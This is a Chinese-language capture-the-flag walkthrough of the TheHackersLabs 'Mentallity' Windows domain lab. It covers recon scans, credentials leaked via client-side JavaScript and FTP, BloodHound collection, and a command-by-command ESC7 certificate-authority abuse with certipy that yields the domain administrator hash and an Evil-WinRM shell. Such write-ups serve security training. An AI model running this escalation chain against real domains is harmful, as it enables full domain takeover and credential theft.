Mentallity

https://labs.thehackerslabs.com/machine/120

Recon

PortScan

namp 端口扫描

➜  Mentallity nmap -sn 192.168.56.0/24                  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 20:45 CST
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00027s latency).
MAC Address: 08:00:27:3B:D1:0E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.28
Host is up (0.00024s latency).
MAC Address: 08:00:27:C2:70:8B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.91
Host is up (0.00028s latency).
MAC Address: 08:00:27:11:40:07 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.5
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.97 seconds

貌似是双网卡

➜  Mentallity nmap -sT -min-rate 10000 -p- 192.168.56.28
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 20:46 CST 
Warning: 192.168.56.28 giving up on port because retransmission cap hit (10). 
Nmap scan report for 192.168.56.28              
Host is up (0.00057s latency).                  
Not shown: 63744 closed tcp ports (conn-refused), 1762 filtered tcp ports (no-response)
PORT      STATE SERVICE                         
21/tcp    open  ftp                             
53/tcp    open  domain                          
80/tcp    open  http                            
88/tcp    open  kerberos-sec                    
135/tcp   open  msrpc                           
139/tcp   open  netbios-ssn                     
389/tcp   open  ldap                            
445/tcp   open  microsoft-ds                    
464/tcp   open  kpasswd5                        
593/tcp   open  http-rpc-epmap                  
636/tcp   open  ldapssl                         
3268/tcp  open  globalcatLDAP                   
3269/tcp  open  globalcatLDAPssl                
5985/tcp  open  wsman                           
8080/tcp  open  http-proxy                      
9389/tcp  open  adws                            
47001/tcp open  winrm  
...    

➜  Mentallity nmap -sT -min-rate 10000 -p- 192.168.56.91
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 20:46 CST
Warning: 192.168.56.91 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.91
Host is up (0.00024s latency).
Not shown: 63929 closed tcp ports (conn-refused), 1577 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8080/tcp  open  http-proxy
9389/tcp  open  adws
47001/tcp open  winrm    
...

➜  Mentallity nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.56.28
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 20:49 CST
Nmap scan report for 192.168.56.28
Host is up (0.00046s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
|_ssl-date: 2025-07-23T12:50:56+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=VulnFTP
| Subject Alternative Name: DNS:VulnFTP
| Not valid before: 2025-07-17T09:01:44
|_Not valid after:  2026-07-17T09:21:44
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-23 12:50:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: mentality.thl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-9FQTT7GPAVK.mentality.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-9FQTT7GPAVK.mentality.thl
| Not valid before: 2025-07-17T13:49:22
|_Not valid after:  2026-07-17T13:49:22
|_ssl-date: TLS randomness does not represent time                                                                                                                                              
445/tcp   open  microsoft-ds?                                                                                                                                                                   
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mentality.thl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-9FQTT7GPAVK.mentality.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-9FQTT7GPAVK.mentality.thl
| Not valid before: 2025-07-17T13:49:22
|_Not valid after:  2026-07-17T13:49:22
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mentality.thl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=WIN-9FQTT7GPAVK.mentality.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-9FQTT7GPAVK.mentality.thl
| Not valid before: 2025-07-17T13:49:22
|_Not valid after:  2026-07-17T13:49:22
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mentality.thl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=WIN-9FQTT7GPAVK.mentality.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-9FQTT7GPAVK.mentality.thl
| Not valid before: 2025-07-17T13:49:22
|_Not valid after:  2026-07-17T13:49:22
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Mentality \xC2\xB7 Innovating Beyond Limits
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: 08:00:27:C2:70:8B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2022 (99%), Microsoft Windows Server 2016 or Server 2019 (97%), Microsoft Windows 10 1703 or Windows 11 21H2 (97%), Microsoft Windows 11 21H2 (96%), Windows Server 2019 (96%), Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1703 (94%), Microsoft Windows 10 1507 - 1607 (94%), Microsoft Windows Server 2012 or 2012 R2 (94%), Microsoft Windows Server 2012 R2 Update 1 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: WIN-9FQTT7GPAVK; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-07-23T12:50:48
|_  start_date: N/A
|_nbstat: NetBIOS name: WIN-9FQTT7GPAVK, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:c2:70:8b (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

TRACEROUTE
HOP RTT     ADDRESS
1   0.46 ms 192.168.56.28

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.86 seconds

枚举测试

SMB 匿名账户测试

➜  Mentallity nxc smb 192.168.56.28 -u anonymous -p '' --smb-timeout 9999
SMB         192.168.56.28   445    WIN-9FQTT7GPAVK  [*] Windows 11 / Server 2025 Build 26100 x64 (name:WIN-9FQTT7GPAVK) (domain:mentality.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.28   445    WIN-9FQTT7GPAVK  [-] mentality.thl\anonymous: STATUS_LOGON_FAILURE

FTP 匿名测试

➜  Mentallity ftp 192.168.56.28                      
Connected to 192.168.56.28.
220 Microsoft FTP Service
Name (192.168.56.28:root): anonymous
331 Password required
Password: 
530 User cannot log in.
ftp: Login failed

HTTP

HTTP - 80

➜  Mentallity feroxbuster --url http://192.168.56.28 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --filter-status 404,503,400 -x asp,php,txt,zip

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.28
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
 💢  Status Code Filters   │ [404, 503, 400]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [asp, php, txt, zip]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      334l     2089w   180418c http://192.168.56.28/iisstart.png
200      GET       32l       55w      703c http://192.168.56.28/
[####################] - 2m   1038160/1038160 0s      found:2       errors:0
[####################] - 2m   1038145/1038145 10180/s http://192.168.56.28/

HTTP - 8080

发现一个登录页面

我们点击登录的时候发现很奇怪，因为并没有提交数据

然后可以注意到只加载了一个 JS 脚本

脚本内容

function validateForm() {
    const u = document.getElementById("username").value;
    const p = document.getElementById("password").value;
    const errorMessage = document.getElementById("errorMessage");

    if (u === "admin" && p === "adminpass123") {
        window.location.href = "dashboard.html";
        return false;
    }
    errorMessage.textContent = "Invalid Username Or Password!";
    return false;
}

我们直接转到 ashboard.html

得到一串 BASE64 编码后的字符串，解密后得到 FTP的账户

发现里面有三个文件

➜  Mentallity ftp 192.168.56.28
Connected to 192.168.56.28.
220 Microsoft FTP Service
Name (192.168.56.28:root): ftpuser 
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||54349|)
125 Data connection already open; Transfer starting.
07-17-25  08:52AM              1608612 ad_hc_mentality_htl.html
07-17-25  05:48AM                   34 flag.txt
07-17-25  12:13AM                   75 web.config
226 Transfer complete.
ftp>

其中这个就是 user.txt

➜  Mentallity cat flag.txt      
FLAG{thisxxxxxxxxxxxxxxxxxxxxxx

另外一个 HTML 文件是安全分析结果，是关于域的

在报告中能得到一个凭据 svcapp1:Hola1234$ ，并且也知道了 ftpuser 也是可以在域中进行认证的

测试凭据

➜  Mentallity nxc smb 192.168.56.28 -u 'svcapp1' -p 'Hola1234$' --smb-timeout 9999                  
SMB         192.168.56.28   445    WIN-9FQTT7GPAVK  [*] Windows 11 / Server 2025 Build 26100 x64 (name:WIN-9FQTT7GPAVK) (domain:mentality.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.28   445    WIN-9FQTT7GPAVK  [+] mentality.thl\svcapp1:Hola1234$

➜  Mentallity nxc ldap 192.168.56.28 -u 'svcapp1' -p 'Hola1234$'               
LDAP        192.168.56.28   389    WIN-9FQTT7GPAVK  [*] Windows 11 / Server 2025 Build 26100 (name:WIN-9FQTT7GPAVK) (domain:mentality.thl)
LDAPS       192.168.56.28   636    WIN-9FQTT7GPAVK  [+] mentality.thl\svcapp1:Hola1234$
 
➜  Mentallity nxc winrm 192.168.56.28 -u 'svcapp1' -p 'Hola1234$'
WINRM       192.168.56.28   5985   WIN-9FQTT7GPAVK  [*] Windows 11 / Server 2025 Build 26100 (name:WIN-9FQTT7GPAVK) (domain:mentality.thl)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.56.28   5985   WIN-9FQTT7GPAVK  [-] mentality.thl\svcapp1:Hola1234$

SMB 文件列表

➜  192.168.56.28 tree
.
└── SYSVOL
    └── mentality.thl
        └── Policies
            ├── {31B2F340-016D-11D2-945F-00C04FB984F9}
            │   ├── GPT.INI
            │   └── MACHINE
            │       ├── Microsoft
            │       │   └── Windows NT
            │       │       └── SecEdit
            │       │           └── GptTmpl.inf
            │       └── Registry.pol
            └── {6AC1786C-016F-11D2-945F-00C04fB984F9}
                ├── GPT.INI
                └── MACHINE
                    └── Microsoft
                        └── Windows NT
                            └── SecEdit
                                └── GptTmpl.inf

域分析

收集信息

➜  Mentallity bloodhound-python -d 'mentality.thl' -ns 192.168.56.28 --zip -c All -dc 'WIN-9FQTT7GPAVK.mentality.thl' -u svcapp1 -p 'Hola1234$'                                                
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: mentality.thl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: WIN-9FQTT7GPAVK.mentality.thl
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: WIN-9FQTT7GPAVK.mentality.thl
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 6 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WIN-9FQTT7GPAVK.mentality.thl
INFO: Done in 00M 01S
INFO: Compressing output into 20250723214935_bloodhound.zip

用户组

翻了半天并没有发现什么可以利用的

ESC 7

使用 certipy-ad 枚举一下证书漏洞

➜  Mentallity certipy-ad -debug find -dc-ip 192.168.56.28 -u svcapp1 -p Hola1234$ -vulnerable -text -target WIN-9FQTT7GPAVK.mentality.thl

发现 ESC 7

➜  Mentallity cat 20250723221243_Certipy.txt 
Certificate Authorities
  0
    CA Name                             : mentality-WIN-9FQTT7GPAVK-CA
    DNS Name                            : WIN-9FQTT7GPAVK.mentality.thl
    Certificate Subject                 : CN=mentality-WIN-9FQTT7GPAVK-CA, DC=mentality, DC=thl
    Certificate Serial Number           : 52F256456C27B2834A8DCCF7EE745646
    Certificate Validity Start          : 2025-07-17 13:46:02+00:00
    Certificate Validity End            : 2045-07-17 13:56:02+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : MENTALITY.THL\Administrators
      Access Rights
        Enroll                          : MENTALITY.THL\Authenticated Users
                                          MENTALITY.THL\svcapp1
        ManageCa                        : MENTALITY.THL\svcapp1
                                          MENTALITY.THL\Domain Admins
                                          MENTALITY.THL\Enterprise Admins
                                          MENTALITY.THL\Administrators
        ManageCertificates              : MENTALITY.THL\Domain Admins
                                          MENTALITY.THL\Enterprise Admins
                                          MENTALITY.THL\Administrators
    [+] User Enrollable Principals      : MENTALITY.THL\Authenticated Users
                                          MENTALITY.THL\svcapp1
    [+] User ACL Principals             : MENTALITY.THL\svcapp1
    [!] Vulnerabilities
      ESC7                              : User has dangerous permissions.
Certificate Templates                   : [!] Could not find any certificate templates

跟着文档打即可

文档链接：https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc7-dangerous-permissions-on-ca

➜  Mentallity certipy-ad ca \
    -u 'svcapp1@mentality.thl' -p 'Hola1234$' \
    -ns '192.168.56.28' -target 'WIN-9FQTT7GPAVK.mentality.thl' \
    -ca 'mentality-WIN-9FQTT7GPAVK-CA' -add-officer 'svcapp1'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'svcapp1' on 'mentality-WIN-9FQTT7GPAVK-CA'

➜  Mentallity certipy ca \
    -u 'svcapp1@mentality.thl' -p 'Hola1234$' \
    -ns '192.168.56.28' -target 'WIN-9FQTT7GPAVK.mentality.thl' \
    -ca 'mentality-WIN-9FQTT7GPAVK-CA' -enable-template 'SubCA'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'mentality-WIN-9FQTT7GPAVK-CA'

➜  Mentallity certipy req \
    -u 'svcapp1@mentality.thl' -p 'Hola1234$' \
    -ns '192.168.56.28' -target 'WIN-9FQTT7GPAVK.mentality.thl' \
    -ca 'mentality-WIN-9FQTT7GPAVK-CA' -template 'SubCA' \
    -upn 'administrator@mentality.thl' -sid 'S-1-5-21-1896710242-59548724-504912181-500'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '5.key'
[*] Wrote private key to '5.key'
[-] Failed to request certificate

➜  Mentallity certipy ca \
    -u 'svcapp1@mentality.thl' -p 'Hola1234$' \
    -ns '192.168.56.28' -target 'WIN-9FQTT7GPAVK.mentality.thl' \
    -ca 'mentality-WIN-9FQTT7GPAVK-CA' -issue-request '5'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate request ID 5

➜  Mentallity certipy req \
    -u 'svcapp1@mentality.thl' -p 'Hola1234$' \
    -ns '192.168.56.28' -target 'WIN-9FQTT7GPAVK.mentality.thl' \
    -ca 'mentality-WIN-9FQTT7GPAVK-CA' -retrieve '5'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Retrieving certificate with ID 5
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@mentality.thl'
[*] Certificate object SID is 'S-1-5-21-1896710242-59548724-504912181-500'
[*] Loaded private key from '5.key'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

获取 HASH

➜  Mentallity certipy-ad auth -pfx 'administrator.pfx' -domain "mentality.thl" -dc-ip 192.168.56.28
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@mentality.thl'
[*]     SAN URL SID: 'S-1-5-21-1896710242-59548724-504912181-500'
[*]     Security Extension SID: 'S-1-5-21-1896710242-59548724-504912181-500'
[*] Using principal: 'administrator@mentality.thl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@mentality.thl': aad3b435b51404xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd04a6bd959f95ce2b2

读取 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Documents> cat root_flag.txt
4042xxxxxxxxxxxxxxxxxxxxxx

总结

不难，但是差一点点就首杀了！！！！！！！！！！！！！！！！

就五分钟！！

TheHackersLabs - Mentallity